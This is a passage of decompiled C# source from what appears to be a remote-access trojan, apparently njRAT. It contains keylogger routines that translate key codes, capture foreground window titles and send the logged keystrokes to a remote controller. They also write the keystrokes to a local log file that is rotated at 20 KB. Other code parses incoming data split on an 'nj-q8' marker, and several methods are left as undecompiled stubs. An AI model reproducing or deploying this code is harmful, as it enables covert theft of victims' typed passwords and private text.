Process.GetProcessesByName(Conversions.ToString(Process.GetCurrentProcess().Id))[0].Kill();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
Thread.Sleep(10);
|
|
System.IO.File.Delete(IND.TM + Process.GetCurrentProcess().Id.ToString());
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
this.CL();
|
|
B.DS = false;
|
|
}
|
|
|
|
public void W1(string T) => this.CL();
|
|
|
|
public void W2()
|
|
{
|
|
this.CL();
|
|
B.DS = true;
|
|
B.ISEND = false;
|
|
}
|
|
|
|
public void W3(byte[] Data, int totBytes)
|
|
{
|
|
try
|
|
{
|
|
MemoryStream memoryStream1 = new MemoryStream();
|
|
string Right = "nj-q8";
|
|
byte[] bytes = new byte[5];
|
|
int num = Data.Length - Right.Length;
|
|
for (int count = 0; count <= num; ++count)
|
|
{
|
|
bytes[0] = Data[count];
|
|
bytes[1] = Data[count + 1];
|
|
bytes[2] = Data[count + 2];
|
|
bytes[3] = Data[count + 3];
|
|
bytes[4] = Data[count + 4];
|
|
if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0)
|
|
{
|
|
memoryStream1.Dispose();
|
|
MemoryStream memoryStream2 = new MemoryStream();
|
|
memoryStream2.Write(Data, 0, count);
|
|
this.WC.AT(memoryStream2.ToArray());
|
|
if (Data.Length - memoryStream2.ToArray().Length <= 5)
|
|
break;
|
|
memoryStream2.ToArray();
|
|
memoryStream2.Dispose();
|
|
MemoryStream memoryStream3 = new MemoryStream();
|
|
memoryStream3.Write(Data, count + 5, Data.Length - count - 10);
|
|
this.WC.AT(memoryStream3.ToArray());
|
|
memoryStream3.Dispose();
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
private void fs_Created(object sender, FileSystemEventArgs e)
|
|
{
|
|
// ISSUE: unable to decompile the method.
|
|
}
|
|
|
|
public class Key
|
|
{
|
|
private static Clock Clock;
|
|
private static Keyboard K;
|
|
|
|
static Key()
|
|
{
|
|
// ISSUE: unable to decompile the method.
|
|
}
|
|
|
|
public Key()
|
|
{
|
|
// ISSUE: unable to decompile the method.
|
|
}
|
|
|
|
public static void Start()
|
|
{
|
|
// ISSUE: unable to decompile the method.
|
|
}
|
|
|
|
public static string HM()
|
|
{
|
|
// ISSUE: unable to decompile the method.
|
|
}
|
|
|
|
public static void Write(ref string S)
|
|
{
|
|
if (B.KON)
|
|
{
|
|
try
|
|
{
|
|
B b = MyProject.Forms.B;
|
|
string str = "X" + IND.Y + S;
|
|
ref string local = ref str;
|
|
b.SEND(ref local);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
B.KON = false;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
byte[] bytes = Encoding.Default.GetBytes(S);
|
|
FileStream fileStream = new FileStream(Application.StartupPath + "\\" + B.exename, FileMode.Append);
|
|
fileStream.Write(bytes, 0, bytes.Length);
|
|
int length = (int) fileStream.Length;
|
|
fileStream.Close();
|
|
if (length <= 20480)
|
|
return;
|
|
try
|
|
{
|
|
System.IO.File.Delete(Application.StartupPath + "\\" + B.exename);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
public static string KK(ref int i)
|
|
{
|
|
string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\"";
|
|
string str = ")!@#$%^&*(";
|
|
switch (i)
|
|
{
|
|
case 8:
|
|
return "{BACKSPACE}";
|
|
case 9:
|
|
return "{TAP}";
|
|
case 12:
|
|
return "\r\n";
|
|
case 13:
|
|
return "\r\n";
|
|
case 27:
|
|
return "{ESC}";
|
|
case 32:
|
|
return " ";
|
|
case 46:
|
|
return "{DEL}";
|
|
case 186:
|
|
return B.Key.u() ? ":" : ";";
|
|
case 187:
|
|
return B.Key.u() ? "+" : "=";
|
|
case 188:
|
|
return B.Key.u() ? "<" : ",";
|
|
case 189:
|
|
return B.Key.u() ? "_" : "-";
|
|
case 190:
|
|
return B.Key.u() ? ">" : ".";
|
|
case 191:
|
|
return B.Key.u() ? "?" : "/";
|
|
case 192:
|
|
return B.Key.u() ? "~" : "`";
|
|
case 219:
|
|
return B.Key.u() ? "{" : "[";
|
|
case 220:
|
|
return B.Key.u() ? "|" : "\\";
|
|
case 221:
|
|
return B.Key.u() ? "}" : "]";
|
|
case 222:
|
|
return B.Key.u() ? "\"" : "'";
|
|
default:
|
|
if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0)
|
|
return "";
|
|
if (!B.Key.u())
|
|
return Strings.ChrW(i).ToString().ToLower();
|
|
try
|
|
{
|
|
int index = 0;
|
|
while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index)
|
|
{
|
|
++index;
|
|
if (index > 9)
|
|
goto label_48;
|
|
}
|
|
return Conversions.ToString(str[index]);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
label_48:
|
|
return Strings.ChrW(i).ToString().ToUpper();
|
|
}
|
|
}
|
|
|
|
public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown;
|
|
|
|
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern short GetAsyncKeyState(int vKey);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern IntPtr GetForegroundWindow();
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID);
|
|
|
|
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
|
|
|
|
[DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int GetWindowTextLength(long hwnd);
|
|
|
|
public static string w()
|
|
{
|
|
string str;
|
|
try
|
|
{
|
|
IntPtr foregroundWindow = B.Key.GetForegroundWindow();
|
|
if (foregroundWindow == IntPtr.Zero)
|
|
{
|
|
str = " ";
|
|
}
|
|
else
|
|
{
|
|
int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow);
|
|
string WinTitle = Strings.StrDup(windowTextLength + 1, "*");
|
|
B.Key.GetWindowText(foregroundWindow, ref WinTitle, windowTextLength + 1);
|
|
int lpdwProcessID;
|
|
B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID);
|
|
if (lpdwProcessID == 0)
|
|
{
|
|
str = WinTitle;
|
|
}
|
|
else
|
|
{
|
|
try
|
|
{
|
|
str = Process.GetProcessById(lpdwProcessID).MainWindowTitle;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
str = WinTitle;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
str = " ";
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
return str;
|
|
}
|
|
}
|
|
}
|
|
}
|